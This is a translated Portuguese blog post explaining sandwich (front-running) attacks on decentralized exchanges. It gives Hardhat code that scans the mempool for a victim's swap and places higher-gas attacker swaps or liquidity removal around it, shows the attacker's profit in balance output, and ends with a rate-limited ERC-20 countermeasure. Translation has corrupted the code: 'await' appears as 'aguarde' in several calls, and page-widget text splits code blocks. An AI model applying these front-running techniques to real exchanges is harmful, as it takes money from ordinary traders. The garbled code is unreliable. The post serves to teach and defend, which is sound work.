WEB3DEV

Cover image for Como podemos evitar o ataque sanduíche?
Dimitris Carvalho Calixto
Dimitris Carvalho Calixto

Posted on

Como podemos evitar o ataque sanduíche?

Image

Prefácio

Embora o mercado de DeFi ofereça uma infinidade de oportunidades empolgantes, ele continua suscetível a ataques que tentam tirar proveito da natureza de contrato inteligente dos aplicativos de DeFi.

As explorações de contratos inteligentes são uma preocupação constante, pois os criminosos se aproveitam de vulnerabilidades no código DeFi, levando a ataques de empréstimos instantâneos, puxões de tapete e, mais recentemente, ataques sanduíche.

O que é ataque de front-running

Para começar, o mempool tem como principal capacidade armazenar transações de rede para que possam ser processadas posteriormente.

O Front Running acontece quando um invasor manipula uma transação padrão. O bot de Front-Running (atacante) procura vítimas examinando as transações no mempool para que o atacante possa se antecipar à negociação.

Image

O que é um ataque Sanduíche

Um ataque sanduíche é uma forma de front-running que visa principalmente protocolos e serviços financeiros descentralizados.

Em poucas palavras, um ataque sanduíche envolve "ensanduichar" as transações de um usuário entre duas transações. Essas duas transações são anteriores (front-running) e posteriores (back-running) à transação do usuário (daí o nome sanduíche), gerando uma perda para o usuário e um ganho para o atacante. Os ataques sanduíche geralmente ocorrem em bolsas descentralizadas (DEXs) e resultam em manipulação de preços.

Os ataques sanduíche são parcialmente possíveis devido à transparência das transações no mempool, mas também porque as DEXs permitem a derrapagem de preços durante as negociações. A derrapagem de preço refere-se à diferença entre o preço esperado de uma negociação e o preço real de execução da negociação. As DEXs geralmente permitem uma derrapagem de 1%, mas em pools de negociação com menor liquidez, a derrapagem pode chegar a 3% ou mais.

Como funcionam os ataques sanduíche

Um agente mal-intencionado pode realizar um ataque sanduíche de duas maneiras.

Tomador de liquidez vs Tomador

Uma transação de vítima troca um ativo de criptomoeda X por outro ativo de criptomoeda Y e faz uma grande compra. Um bot detecta a transação e faz uma corrida frontal com a vítima comprando o ativo Y antes que a grande negociação seja aprovada. Essa compra eleva o preço do ativo Y para o operador vítima e aumenta a derrapagem (aumento ou diminuição esperada do preço com base no volume a ser negociado e na liquidez disponível).

Devido a essa compra elevada do ativo Y, seu preço sobe, e a vítima compra o ativo Y a um preço mais alto, e o atacante vende a um preço mais alto.

Image

Para demonstrar essa situação, vou simular a transação de troca do token A pelo token B no Hardhat. Primeiro, vamos criar dois tokens ERC20 de teste e um roteador.


/// Implantação da fábrica

const FactoryRegister = await ethers.getContractFactory("UniswapV2Factory");

factory = await FactoryRegister.connect(deployer).deploy(

  ethers.constants.AddressZero

);

await mine();

/// Implantação do token

const TokenFactory = await ethers.getContractFactory("MockERC20");

tokenA = await TokenFactory.connect(deployer).deploy();

await mine();

tokenB = await TokenFactory.connect(deployer).deploy();

await mine();

/// Criar roteador

const WETH9Factory = await ethers.getContractFactory("WETH9");

weth = await WETH9Factory.connect(deployer).deploy();

await mine();

const RouterFactory = await ethers.getContractFactory("UniswapV2Router");

router = await RouterFactory.connect(deployer).deploy(

  factory.address,

  weth.address

);

await mine();

Enter fullscreen mode Exit fullscreen mode

Em seguida, fazer uma chamada para trocar a quantidade exata de tokenA por tokenB da conta da vítima. Certifique-se de que já adicionou o pool e concluiu as operações ERC-20 necessárias, como a cunhagem de uma certa quantidade de tokens para testar contas e aprovar o roteador para transferir os ativos do usuário.


const victimSwapTx = await router

    .connect(victim)

    .swapExactTokensForTokens(

    ethers.utils.parseEther("2"),

    ethers.constants.Zero,

    [tokenA.address, tokenB.address],

    await victim.getAddress(),

    ethers.constants.MaxUint256

    );

Enter fullscreen mode Exit fullscreen mode

É esse o momento de uma invasão sanduíche na transação de um usuário. Primeiro, ele usa um bot para detectar todas as transações no mempool e, em seguida, encontra a transação exata da vítima chamando o roteador.


/// Localizar todas as transações no mempool

const txs: any = await ethers.provider.send("eth_getBlockByNumber", [

  "pending",

  true,

]);

/// Localizar a transação de destino

const tx = txs.transactions.find(

  (tx: any) => tx.to == router.address.toLowerCase()

);

Enter fullscreen mode Exit fullscreen mode

Se você fizer um console log no tx, ele terá a aparência da imagem abaixo.

Image

Em seguida, inserir uma transação antes da transação da vítima, simplesmente adicionando mais gasPrice do que a transação da vítima (Front-running).


/// Enviar tx com mais gás no topo da transação de destino

const culpritSwapTopTx = await router

  .connect(anonymous)

  .swapExactTokensForTokens(

    ethers.utils.parseEther("2"),

    ethers.constants.Zero,

    [tokenA.address, tokenB.address],

    aguarde anonymous.getAddress(),

    ethers.constants.MaxUint256,

    {

    gasPrice: BigNumber.from(tx.gasPrice).add(100),

    gasLimit: BigNumber.from(tx.gas).add(100000),

    }

  );

Enter fullscreen mode Exit fullscreen mode

Por fim, negocie de volta o ativo que está sob o preço incorreto e mantenha a diferença.

/// Enviar tx na transação de destino

const culpritSwapBottomTx = await router

.connect(anonymous)

.swapTokensForExactTokens(

ethers.utils.parseEther("2"),

ethers.constants.MaxUint256,

[tokenB.address, tokenA.address],

aguarde anonymous.getAddress(),

ethers.constants.MaxUint256
Enter fullscreen mode Exit fullscreen mode

);

/// Extrair todas as transações pendentes

await mine();


Nesse caso, primeiramente inicializei cada conta com 10 unidades de ether do token A. Depois que essas transações foram validadas, a conta da vítima executou acidentalmente uma troca na taxa de 0,6 tokenB para cada 1 tokenA, quase a metade da taxa inicial (1 tokenB para cada 1 tokenA). Além disso, o atacante enriqueceu seu saldo de tokenB de 0 para quase 0,47 unidades de éter.

Enter fullscreen mode Exit fullscreen mode

/// Antes

Victim Balance A: BigNumber { value: "10000000000000000000" }

Victim Balance B: BigNumber { value: "0" }

Attacker Balance A: BigNumber { value: "10000000000000000000" }

Attacker Balance B: BigNumber { value: "0" }

/// Depois

Victim Balance A: BigNumber { value: "8000000000000000000" }

Victim Balance B: BigNumber { value: "1188007657299184583" }

Attacker Balance A: BigNumber { value: "10000000000000000000" }

Attacker Balance B: BigNumber { value: "467330007387043848" }


## Provedor de liquidez vs Tomador

Outro tipo de ataque sanduíche ocorre quando um provedor de liquidez pode atacar um tomador de liquidez de maneira muito semelhante. A configuração inicial permanece idêntica, embora o malfeitor precise realizar três ações desta vez.


![Image](https://web3dev-forem-production.s3.amazonaws.com/uploads/articles/h9vdqj5rui3p68qb48y4.png)



Primeiro, eles removem a liquidez como um método de front-running para aumentar o slippage da vítima. Em segundo lugar, eles adicionam novamente a liquidez para restaurar o saldo inicial do pool após a transação da vítima ter sido executada com o pior preço. Em terceiro lugar, eles trocam o ativo Y por X para restaurar o saldo do ativo X como era antes do ataque.

Semelhante ao método de ataque  anterior , vamos reproduzir  a forma como esse tipo de ataque é realizado ao inicializar 2 tokens ERC-20 de teste, um roteador e adicionar liquidez a um pool. Mas, desta vez, em vez de ensanduichar a transação da vítima com duas trocas, primeiro fazemos uma solicitação de remoção de liquidez na frente dela (front-running) e, em seguida, anexamos uma transação de adição de liquidez após a transação da vítima. Por fim, aproveitamos as vantagens trocando os ativos com preço incorreto.

Enter fullscreen mode Exit fullscreen mode

/// A vítima faz uma transação

const victimSwapTx = await router

.connect(victim)

.swapExactTokensForTokens(

ethers.utils.parseEther("2"),

ethers.constants.Zero,

[tokenA.address, tokenB.address],

await victim.getAddress(),

ethers.constants.MaxUint256
Enter fullscreen mode Exit fullscreen mode

);

/// Localizar todas as trans no mempool

const txs: any = await ethers.provider.send("eth_getBlockByNumber", [

"pending",

true,

]);

/// Localizar a transação de destino

const tx = txs.transactions.find(

(tx: any) => tx.to == router.address.toLowerCase()

);

/// Enviar tx com mais gás em cima da transação de destino

const culpritRemoveLiquidityTx = await router

.connect(anonymous)

.removeLiquidity(

tokenA.address,

tokenB.address,

INITIAL_MINTED.mul(80).div(100),

ethers.constants.Zero,

ethers.constants.Zero,

aguarde anonymous.getAddress(),

ethers.constants.MaxUint256,

{

gasPrice: BigNumber.from(tx.gasPrice).add(100),

gasLimit: BigNumber.from(tx.gas).add(100000),

}
Enter fullscreen mode Exit fullscreen mode

);

// Enviar tx na transação de destino

const putbackLiquidityTx = await router

.connect(anonymous)

.addLiquidity(

tokenA.address,

tokenB.address,

INITIAL_MINTED.mul(80).div(100),

INITIAL_MINTED.mul(80).div(100),

ethers.constants.Zero,

ethers.constants.Zero,

aguarde anonymous.getAddress(),

ethers.constants.MaxUint256
Enter fullscreen mode Exit fullscreen mode

);

// benefício da troca

const culpritSwapTx = await router

.connect(anonymous)

.swapExactTokensForTokens(

ethers.utils.parseEther("3"),

ethers.constants.Zero,

[tokenB.address, tokenA.address],

aguarde anonymous.getAddress(),

ethers.constants.MaxUint256
Enter fullscreen mode Exit fullscreen mode

);

/// Extrair todas as transações pendentes

await mine();


Depois de executar essas transações, a vítima só pôde receber um pouco menos da metade do tokenB para cada tokenA negociado devido à alta derrapagem.

Enter fullscreen mode Exit fullscreen mode

/// Antes

Victim Balance A: BigNumber { value: "10000000000000000000" }

Victim Balance B: BigNumber { value: "0" }

Attacker Balance A: BigNumber { value: "0" }

Attacker Balance B: BigNumber { value: "10000000000000000000" }

/// Depois

Victim Balance A: BigNumber { value: "8000000000000000000" }

Victim Balance B: BigNumber { value: "998497746619929894" }

Attacker Balance A: BigNumber { value: "5986483117427196979" }

Attacker Balance B: BigNumber { value: "12996995493239859788" }


## Como se proteger

> Atualmente, não é realmente possível para os investidores se protegerem contra ataques do tipo sanduíche.

O custo de realizar um ataque sanduíche geralmente supera os lucros que o invasor obtém. Por exemplo, a maioria das DEXs cobra uma taxa percentual de cada negociação feita na plataforma. O que isso significa para um invasor é que ele incorrerá em uma taxa de transação tanto para o front-running quanto para o back-running de uma negociação normal. Além disso, a Ethereum e várias cadeias DeFi cobram taxas de gás bastante altas, aumentando o custo desse tipo de ataque.

Dito isso, os ataques do tipo sanduíche ainda podem ser lucrativos, especialmente se a comissão recebida e o custo da transação para realizar o ataque do tipo sanduíche forem menores do que o valor da negociação da vítima. Portanto, é fundamental desenvolver contramedidas capazes de proteger os usuários contra ataques do tipo sanduíche.

Este é um exemplo de aplicação do token ERC-20 para resistir a ataques do tipo sanduíche. Isso pode ser viável porque os ataques do tipo sanduíche dependem muito da velocidade de execução. Limitar a frequência de transferência de invocação pode desencorajar os invasores de realizar esse tipo de ataque.

Enter fullscreen mode Exit fullscreen mode

//SPDX-License-Identifier: MIT

pragma solidity ^0.8.7;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import "hardhat/console.sol";

contract SandwichResistantERC20 is ERC20 {

/// @notice permitiu apenas 1 trans/bloco - marca a transação de origem como executada em bloco específico

/// @dev usando keccak256(abi.encodePacked(block.number, from)) como chave no mapeamento

mapping(bytes32 => bool) private perBlock;

/// @notice ignore a limitação de trans por verificação de bloco

mapping(address => bool) private exceptions;

. . .

modifier rateLimit(address from, address to) {

    if (!exceptions[from]) {

        bytes32 key = keccak256(abi.encodePacked(block.number, from));

        require(!perBlock[key], "ERC20: Only one transfer per block per address");

        perBlock[key] = true;

    }

    if (!exceptions[to]) {

        bytes32 key = keccak256(abi.encodePacked(block.number, to));

        require(!perBlock[key], "ERC20: Only one transfer per block per address");

        perBlock[key] = true;

    }

    _;

}

function _beforeTokenTransfer(

    address from,

    address to,

    uint256 /* amount */

) internal virtual override rateLimit(from, to) {}
Enter fullscreen mode Exit fullscreen mode

}




Isso pode ser feito aplicando o padrão Rate Limit com um modificador especial para a funcionalidade transfer e transferFrom. O modificador "rateLimit(address,address)" fará com que um remetente de token só possa enviar uma transação de transferência uma vez por bloco. Um sanduíche (front-run e back-run em um bloco) não é mais possível. Embora um único front-run ou um back-run ainda seja possível.

Forçar o ERC-20 a estar em conformidade com essa implementação dificulta a integração no nível dos consumidores. Para evitar totalmente esse tipo de ataque, seria melhor implementar alguns mecanismos de combate nos contratos AMM que fornecerei com mais detalhes nas histórias do UniswapV3.

## Conclusão

Os ataques do tipo sanduíche podem parecer deliciosos, mas podem deixar um gosto ruim na boca se você for vítima deles. Entender o que é um ataque sanduíche e como ele funciona seria a melhor maneira de reduzir o risco de ser vítima dele.

Artigo escrito por [Brian Kiam](https://medium.com/@kimhiepninh02121997?source=post_page-----c2f053dd37de--------------------------------). A versão original pode ser encontrada [aqui](https://medium.com/coinmonks/how-can-we-avoid-sandwich-attack-c2f053dd37de). Traduzido e adaptado por Dimitris Calixto.
Enter fullscreen mode Exit fullscreen mode

Top comments (0)